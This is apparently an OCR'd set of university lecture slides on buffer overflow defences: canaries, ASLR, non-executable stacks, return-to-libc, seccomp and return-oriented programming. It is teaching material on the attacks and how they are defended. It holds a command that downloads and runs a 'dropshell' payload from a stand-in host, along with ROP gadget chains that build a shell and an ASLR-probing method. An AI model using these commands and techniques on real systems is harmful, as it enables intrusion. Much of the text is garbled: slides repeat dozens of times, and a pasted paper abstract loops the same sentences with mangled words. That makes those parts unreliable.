BUFFER OVERFLOW DEFENSES & COUNTERMEASURES

CMSC 414
FEB 01 2018
RECALL OUR CHALLENGES

How can we make these even more difficult?

• Putting code into the memory (no zeroes)

• Finding the return address (guess the raw address)

• Getting %eip to point to our code (dist buff to stored eip)
DETECTING OVERFLOWS WITH CANARIES

%eip

```
text ... 00 00 00 00 %ebp %eip &arg1 ...
```

buffer
DETECTING OVERFLOWS WITH CANARIES
DETECTING OVERFLOWS WITH CANARIES

%eip

text ... 00 00 00 00 02 8d e2 10 %ebp %eip &arg1 ...

buffer canary
DETECTING OVERFLOWS WITH CANARIES

%eip

text ... 0xbdf nop nop nop ... \x0f \x3c \x2f ...

buffer canary
DETECTING OVERFLOWS WITH CANARIES

%eip

text  ...  buffer  canary  0xbdf  nop  nop  nop  ...  \x0f \x3c \x2f  ...

DETECTING OVERFLOWS WITH CANARIES

Not the expected value: abort

%eip

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary

Not the expected value: abort

%eip

buffer

canary
DETECTING OVERFLOWS WITH CANARIES

Not the expected value: abort

What value should the canary have?
CANARY VALUES

From StackGuard [Wagle & Cowan]

1. Terminator canaries (CR, LF, NULL, -1)
   • Leverages the fact that scanf etc. don’t allow these

2. Random canaries
   • Write a new random value @ each process start
   • Save the real value somewhere in memory
   • Must write-protect the stored value

3. Random XOR canaries
   • Same as random canaries
   • But store canary XOR some control info, instead
RECALL OUR CHALLENGES

How can we make these even more difficult?

• Putting code into the memory (no zeroes)
  Option: Make this detectable with canaries

• Finding the return address (guess the raw address)

• Getting `%eip` to point to our code (dist buff to stored `eip`
ADDRESS SPACE LAYOUT RANDOMIZATION

Set when process starts

Runtime

Known at compile time

Randomize where exactly these regions start

4G

cmdline & env

Stack

Heap

Uninit'd data

Init'd data

Text

0xffffffff

int f() {
  int x;
  ...
}

malloc(sizeof(long));

static int x;

static const int y=10;

0x00000000
ADDRESS SPACE LAYOUT RANDOMIZATION

Shortcomings of ASLR

- Introduces return-to-libc atk
- Probes for location of usleep
- On 32-bit architectures, only 16 bits of entropy
- fork() keeps same offsets
RECALL OUR CHALLENGES

How can we make these even more difficult?

- Putting code into the memory (no zeroes)
  Option: Make this detectable with canaries

- Finding the return address (guess the raw address)
  Address Space Layout Randomization (ASLR)

- Getting %eip to point to our code (dist buff to stored eip)
GETTING %EIP TO POINT TO OUR CODE

Recall that all memory has Read, Write, and Execute permissions.

Must be readable & writeable
Must be executable

4G

cmdline & env
Stack
Heap
Uninit'd data
Init'd data
Text

0xffffffff
0x00000000

0xffffffffffffffff
0x00000000

Basic idea: make the stack non-executable

But does it need to be executable?
Exploit: **Oracle Buffer Overflow.** We create a buffer overflow in Apache similar to one found in Oracle 9 [10, 22]. Specifically, we add the following lines to the function `ap_getline()` in `http_protocol.c`:

```c
    char buf[64];
    :
    :
    strcpy(buf, s); /* Overflow buffer */
```
**Exploit:** *Oracle Buffer Overflow.* We create a buffer overflow in Apache similar to one found in Oracle 9 [10, 22]. Specifically, we add the following lines to the function `ap_getline()` in `http_protocol.c`:

```c
char buf[64];
:
strncpy(buf, s); /* Overflow buffer */
```

---

**Preferred: `strlcpy`**

```
char buf[4];
strlcpy(buf, “hello!”, sizeof(buf));  // buf = {‘h’, ‘e’, ‘l’, ‘\0’}
```
**Exploit:** Oracle Buffer Overflow. We create a buffer overflow in Apache similar to one found in Oracle 9 [10, 22]. Specifically, we add the following lines to the function `ap_getline()` in `http_protocol.c`:

```c
char buf[64];
⋮
strcpy(buf, s); /* Overflow buffer */
```

**Goal:**

```c
system("wget http://www.example.com/dropshell ;
   chmod +x dropshell ;
   ./dropshell");
```

**Challenge:** Non-executable stack

**Insight:** "system" already exists somewhere in libc
RETURN TO LIBC

Buffer:

Stack frame:

%eip

00 00 00 00 %ebp %eip &arg1
RETURN TO LIBC

%eip

buffer

padding

stack frame
RETURN TO LIBC

%eip

buffer
good guess

0xbdf 0xbdf 0xbdf ...

%eip &arg1 ...

stack frame
RETURN TO LIBC

... 0xbdf 0xbdf 0xbdf ...

padding  good guess  nop sled

Stack frame:

Text

%eip

Buffer

%eip
RETURN TO LIBC

buffer -> %eip

text ... 0xbdf 0xbdf 0xbdf ... %eip nop nop nop ... \x0f \x3c \x2f ... malicious code

good guess

nop sled
RETURN TO LIBC

- Buffer
- Padding
- Good guess
- NOP sled
- Malicious code
- Stack frame
- %eip
RETURN TO LIBC

PANIC: address not executable
RETURN TO LIBC

libc

... usleep()  printf()  ...  system()  ...

... 00 00 00 00 | %ebp  %eip  &arg1  ...

buffer

%eip

text

RETURN TO LIBC

libc

... usleep()  printf()  ...  system()  ...

... 00 00 00 00 | %ebp  %eip  &arg1  ...

buffer

%eip

text
RETURN TO LIBC

libc

... usleep() printf() ... system() ...

padding

text ... %eip &arg1 ... buffer

%eip
RETURN TO LIBC

... usleep() printf() ... system() ...

libc

padding

%eip &arg1 ...

text

buffer

%eip
RETURN TO LIBC

libc

... usleep() printf() ... system() ...

padding

arguments

wget example.com/...

buffer

%eip

text...
How do we guess this address?
RETURN TO LIBC

libc

... usleep() printf() ... system() ...

padding

arguments

%eip

buffer

%eip

How do we guess this address?

How do we ensure these are the args?

wget example.com/...
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep() | printf() | ... system() ...

padding

arguments

 wget example.com/...

%esp

%ebp

%eip

leave:
  mov %ebp %esp
  pop %ebp

ret:
  pop %eip
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep() printf() ... system() ...

padding

arguments

%ebp %eip

wget example.com/...

leave:  mov %ebp %esp
        pop %ebp

ret:    pop %eip
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep() printf() ... system() ...

padding

arguments

%ebp

%eip

text ...

DEADBEEF %eip wget example.com/...

%esp

%esp

%ebp

%esp

leave: mov %ebp %esp
pop %ebp

ret: pop %eip
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep()  |  printf()  |  ...  |  system()  |  ...

padding

arguments

%esp

%ebp

%eip

buffer

text

leave:  ➔ mov %ebp %esp
        pop %ebp

ret:     pop %eip

deadbeef

wget example.com/...
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep() printf() ... system() ...

padding

arguments

text ... DEADBEF %eip wget example.com/...

%eip %ebp %esp buffer

leave:    mov %ebp %esp
          pop %ebp
ret:      pop %eip
ARGUMENTS WHEN WE ARE SMASHING %EBP?

At this point, we can’t reliably access local variables.

```assembly
leave:    mov %ebp %esp
          pop %ebp
ret:      pop %eip
```
ARGUMENTS WHEN WE ARE SMASHING %EBP?

At this point, we can’t reliably access local variables
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep() printf() ... system() ...

padding

arguments

Deadbeef

wget example.com/...

leaves: mov %ebp %esp
        pop %ebp

ret: pop %eip

buffer

%ebp

%esp

%eip

%ebp

00 00 00 00

buffer
text...
ARGUMENTS WHEN WE ARE SMASHING %EBP?

libc

... usleep() printf() ... system() ...

padding

arguments

buffer

%ebp

%esp

DEADBEEF

DEADBEEF

wget example.com/...

%eip

system:
pushl %ebp
movl %esp, %ebp

leave:
mov %ebp %esp
pop %ebp

ret:
pop %eip
ARGUMENTS WHEN WE ARE SMASHING %EBP?

... usleep() printf() ... system() ...

`libc`

system: `pushl %ebp` → `movl %esp, %ebp`

buffer

padding

arguments

%esp

%ebp

%eip

DEADBEEF

DEADBEEF

wget example.com/...
ARGUMENTS WHEN WE ARE SMASHING %EBP?

\begin{align*}
\text{system:} & \quad \text{pushl} \ %\text{ebp} \\
& \quad \text{movl} \ %\text{esp}, \ %\text{ebp} \\
\end{align*}

\[ \%\text{ebp} \rightarrow \%\text{esp} \]

Will expect args at 8(\%ebp)

\[ \%\text{esp} \rightarrow \%\text{ebp} \]

\[ \%\text{eip} \rightarrow \%\text{ebp} \]

DEADBEEF

 allergies

buffer

padding

arguments

DEADBEEF

DEADBEEF

wget example.com/...
When we are smashing %EBP?

ARGUMENTS WHEN WE ARE SMASHING %EBP?

system: pushl %ebp

movl %esp, %ebp

pushl %ebp

movl %esp, %ebp

printf()

system()

usleep()
ARGUMENTS WHEN WE ARE SMASHING %EBP?

At this point, we can reliably access local variables.
RETURN TO LIBC

How do we guess this address?

How do we ensure these are the args?
RETURN TO LIBC

libc

... usleep()  printf()  ...  system()  ...

padding

arguments

How do we guess this address?

How do we ensure these are the args?
By prepending 4 byte padding
INFERRING ADDRESSES WITH ASLR

known delta (by version of libc)

libc

... usleep() printf() ... system() ...

padding

arguments

buffer

%eip

text ...

AAAAAAAAAAAAAAAAAAAAA DEADBEEF %eip DEADBEEF 0x01010101
INFERRING ADDRESSES WITH ASLR

known delta (by version of libc)

Repeatedly guess the address of usleep

buffer

%eip

padding

arguments

%eip

text

AAAAAAAAAAAAAAAAAAAAA DEADBEEF %eip DEADBEEF 0x01010101

libc

... usleep() printf() ... system() ...

0 0 0 0 buffer... ...
INFERRING ADDRESSES WITH ASLR

Repeatedly guess the address of `usleep`

0x01010101 = smallest number w/o 0-byte
≈ 16 million == 16 sec of sleep

Wrong guess of `usleep` = crash; retry
Correct guess of `usleep` = response in 16 sec
INFERRING ADDRESSES WITH ASLR

Repeatedly guess the address of `usleep`

known delta (by version of libc)

padding

arguments

text

buffer

Why this works

Every connection causes a fork; `fork()` does not re-randomize ASLR

Wrong guess of `usleep` = crash; retry

Correct guess of `usleep` = response in 16 sec

0x01010101 = smallest number w/o 0-byte

≈ 16 million == 16 sec of sleep
RETURN TO LIBC

How do we guess this address?
By first guessing `usleep`

How do we ensure these are the args?
By prepending 4 byte padding
DEFENSE: JUST GET RID OF SYSTEM()?

Idea: Remove any function call that
(a) is not needed and
(b) could wreak havoc

... usleep() printf() ... system() ...
RELATED IDEA: SECCOMP-BPF
RELATED IDEA: SECCOMP-BPF

- Linux system call enabled since 2.6.12 (2005)
  - Affected process can subsequently **only perform read, write, exit, and sigreturn system calls**
    - No support for open call: Can only use already-open file descriptors
  - **Isolates a process by limiting possible interactions**
RELATED IDEA: SECCOMP-BPF

• Linux system call enabled since 2.6.12 (2005)
  • Affected process can subsequently only perform read, write, exit, and sigreturn system calls
    - No support for open call: Can only use already-open file descriptors
  • Isolates a process by limiting possible interactions

• Follow-on work produced seccomp-bpf
  • Limit process to policy-specific set of system calls, subject to a policy handled by the kernel
    - Policy akin to Berkeley Packet Filters (BPF)
• Used by Chrome, OpenSSH, vsftpd, and others
The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)

Howard Shecter
Department of Computer Science & Engineering
University of California, San Diego
La Jolla, California, USA
hovv@cs.ucsd.edu

ABSTRACT
We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that calls no functions at all. Our attack involves a large number of short instruction sequences to build gadgets that allow arbitrary code injection. We show how to discover such instruction sequences by means of static analysis. We make use of an essential property of the x86 instruction set.

Categories and Subject Descriptors
D.4.6 [Operating Systems]: Security and Protection
General Terms
Security, Algorithms
Keywords
Return-Into-Exc, Using call-gadget, Instruction set

1. INTRODUCTION
We present new techniques that allow a return-into-libc attack to be mounted on x86 executables that calls no functions at all. Our approach is based on the observation that the x86 instruction set contains a large number of short instruction sequences to build gadgets that allow arbitrary code injection. We show how to discover such instruction sequences by means of static analysis. We make use of an essential property of the x86 instruction set.

1.1 Background: Attacks and Defenses
Consider an attacker who has discovered a vulnerability in a program and wishes to exploit it. In particular, we consider the scenario of an attacker who wishes to exploit a vulnerability in the stack, so that it points to code of his choosing rather than the code that made the call. Although even in this case other techniques can be used, we focus on return-oriented programming (ROP) attack techniques.

1.2 Shortcomings of removing functions from libc
The shortcoming of removing functions from libc is that it limits the attacker's ability to control the code that executes after the attack. This can be mitigated by using return-oriented programming (ROP) attack techniques, which allow the attacker to control the code that executes after the attack.

2. RETURN-ORIENTED PROGRAMMING

2.1 Introduction
Return-oriented programming (ROP) is a type of attack that allows an attacker to control the code that executes after the attack by using short instruction sequences to build gadgets that allow arbitrary code injection. We show how to discover such instruction sequences by means of static analysis. We make use of an essential property of the x86 instruction set.

2.2 Return-Into-Exc
Return-Into-Exc is a technique that allows an attacker to control the code that executes after the attack by using short instruction sequences to build gadgets that allow arbitrary code injection. We show how to discover such instruction sequences by means of static analysis. We make use of an essential property of the x86 instruction set.

2.3 Using call-gadget
Using call-gadget is a technique that allows an attacker to control the code that executes after the attack by using short instruction sequences to build gadgets that allow arbitrary code injection. We show how to discover such instruction sequences by means of static analysis. We make use of an essential property of the x86 instruction set.

3. Conclusion
In conclusion, we have presented new techniques that allow a return-into-libc attack to be mounted on x86 executables that calls no functions at all. Our attack involves a large number of short instruction sequences to build gadgets that allow arbitrary code injection. We show how to discover such instruction sequences by means of static analysis. We make use of an essential property of the x86 instruction set.

ACKNOWLEDGMENTS
This work was supported in part by the United States National Science Foundation under Grant No. CCF-1218936.

REFERENCES

Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. Copyrights for components of this work owned by others than the author(s) must be honored. Abstracting with credit is permitted. The reproduction, modification, or redistribution of all or part of this work beyond that permitted by U.S. copyright law requires the express written permission of the author(s) and the publisher. Requests for permissions should be addressed to: permissions@acm.org.
Code sequences exist in libc that were not placed there by the compiler.

Two instructions in the entrypoint ecb_crypt are encoded as follows:

- f7 c7 07 00 00 00  test $0x00000007, %edi
- 0f 95 45 c3  setnzb -61(%ebp)

Starting one byte later, the attacker instead obtains

- c7 07 00 00 00 0f  movl $0x0f000000, (%edi)
- 95  xchg %ebp, %eax
- 45  inc %ebp
- c3  ret

Find code sequences by starting at ret’s (‘0xc3’) and looking backwards for valid instructions.
GADGETS

leave: mov %ebp %esp
      pop %ebp
ret:  pop %eip
GADGETS

leave:   mov %ebp %esp
         pop %ebp
ret:    pop %eip
GADGETS

leave:  mov %ebp %esp
        pop %ebp
ret:    pop %eip

%edx now set to 0xdeadbeef
Effect: sets %edx to 0xdeadbeef
**GADGETS**

```
leave:  mov %ebp %esp
       pop %ebp
ret:   pop %eip
```

Diagram:
- **leave:**
  - mov %ebp %esp
  - pop %ebp
- **ret:**
  - pop %eip
  - addl (%edx), %eax
  - push %edi
  - ret
  - pop %edx
  - ret
  - pop %edi
  - ret
  - pop %edi
  - ret
  - %edi
  - %edx
  - %eax
  - 3
GADGETS

leave:  mov %ebp %esp
       pop %ebp

ret:   pop %eip

%esp

%edi
%edx
%eax 3
leave:      mov %ebp %esp
            pop %ebp
ret:       pop %eip

GADGETS
GADGETS

leave:    mov %ebp %esp
          pop %ebp
ret:      pop %eip
GADGETS

leave: mov %ebp %esp
pop %ebp
ret: pop %eip

%esp

%edi
%edx
%eax 3
GADGETS

leave:    mov  %ebp  %esp
          pop  %ebp
ret:     pop  %eip

```asm
    mov  %ebp  %esp
    pop  %ebp
    pop  %eip
    leave
```

```
addl  (%edx),  %eax
push  %edi
ret
```

```
popl  %edx
ret
```

```
popl  %edi
ret
```

```
%edi  7
%edx  7
%eax  3
```
GADGETS

leave:  
mov %ebp %esp
pop %ebp

ret:  
pop %eip
leave:
  mov %ebp %esp
  pop %ebp
ret:
  pop %eip
  addl (%edx), %eax
  push %edi
  ret
  pop %edx
  ret
  pop %edi
  ret
%edi
%edx 7
%eax 3
GADGETS

leave:
  mov %ebp %esp
  pop %ebp

ret:
  pop %eip
  leave
  ret

addl (%edx), %eax
  push %edi
  ret

pop %edx
  ret

pop %edi
  ret

%edi 7
%edx 7
%eax 3
leave:  mov %ebp %esp
    pop %ebp
ret:   pop %eip

%esp

addl (%edx), %eax
    push %edi
    ret

%edi
%edx 7
%eax 10
GADGETS

leave:  mov %ebp %esp
        pop %ebp
ret:   pop %eip

addl (%edx), %eax
push %edi
ret
pop %edx
ret
pop %edi
ret

%edi 7
%edx 7
%eax 10
GADGETS

leave:  mov %ebp %esp
       pop %ebp
ret:   pop %eip
GADGETS

leave:  mov %ebp %esp
         pop %ebp
ret:   pop %eip

%esp

%edi
%edx 7
%eax 10
GADGETS

next gadget

%esp

ret

addl (%edx), %eax
push %edi
ret

pop %edx
ret

pop %edi
ret

%edi

%edx 7

%eax 10
GADGETS

Effect: adds 7 to %eax

next gadget

%esp

addl (%edx), %eax
push %edi
ret

pop %edx
ret

pop %edi
ret

%edi
%edx 7
%eax 10
GADGETS

Effect: adds 7 to %eax

Had to deal with the side-effect of push %edi

next gadget

addl (%edx), %eax
push %edi
ret

%edi
%edx 7
%eax 10
GADGETS

%eax
%ebx
%ecx
%edx
GADGETS

%eax 0
%ebx
%ecx
%edx
GADGETS

%eax 0
%ebx
%ecx 0x0b0b0b0b0b
%edx
GADGETS

%eax 0
%ebx
%ecx 0x0b0b0b0b0b
%edx

%esp
%eax 0
%ebx
%ecx 0x0b0b0b0b0b
%edx

%esp
GADGETS

%eax 0
%ebx
%ecx 0x0b0b0b0b0b
%edx

%esp

call %gs:0x10(.0)
ret

pop %ecx
pop %edx
ret

pop %ebx
ret

add %ch, %al
ret

movl %eax, 24(%edx)
ret

0x0b0b0b0b0b

pop %ecx
pop %edx
ret

xor %eax, %eax
ret
GADGETS

%eax 0xb
%ebx
%ecx 0x0b0b0b0b0b
%edx

%esp

/string
/bin
0

ldstrq 0x0b0b0b0b0b
movl %eax, 24(%edx)
ret

pop %ecx
pop %edx
ret

add %ch, %al
ret

movl %eax, 24(%edx)
ret

pop %ecx
pop %edx
ret

pop %ecx
pop %edx
ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret

ret
GADGETS

%eax 0xb
%ebx
%ecx
%edx

%esp

 lineman 0x0
/bin
0

call %gs:0x10(0,0)
ret

pop %ecx
pop %edx
ret

pop %ebx
ret

add %ch, %al
ret

movl %eax, 24(%edx)
ret

0x0b0b0b0b0b

pop %ecx
pop %edx
ret

xor %eax, %eax
ret

GADGETS

Effect: shell code
RECALL OUR CHALLENGES

How can we make these even more difficult?

• Putting code into the memory (no zeroes)
  Option: Make this detectable with canaries

• Getting %eip to point to our code (dist buff to stored eip)
  Non-executable stack doesn’t work so well

• Finding the return address (guess the raw address)
  Address Space Layout Randomization (ASLR)

Best defense: Good programming practices
BUFFER OVERFLOW PREVALENCE

Significant percent of all vulnerabilities

Data from the National Vulnerability Database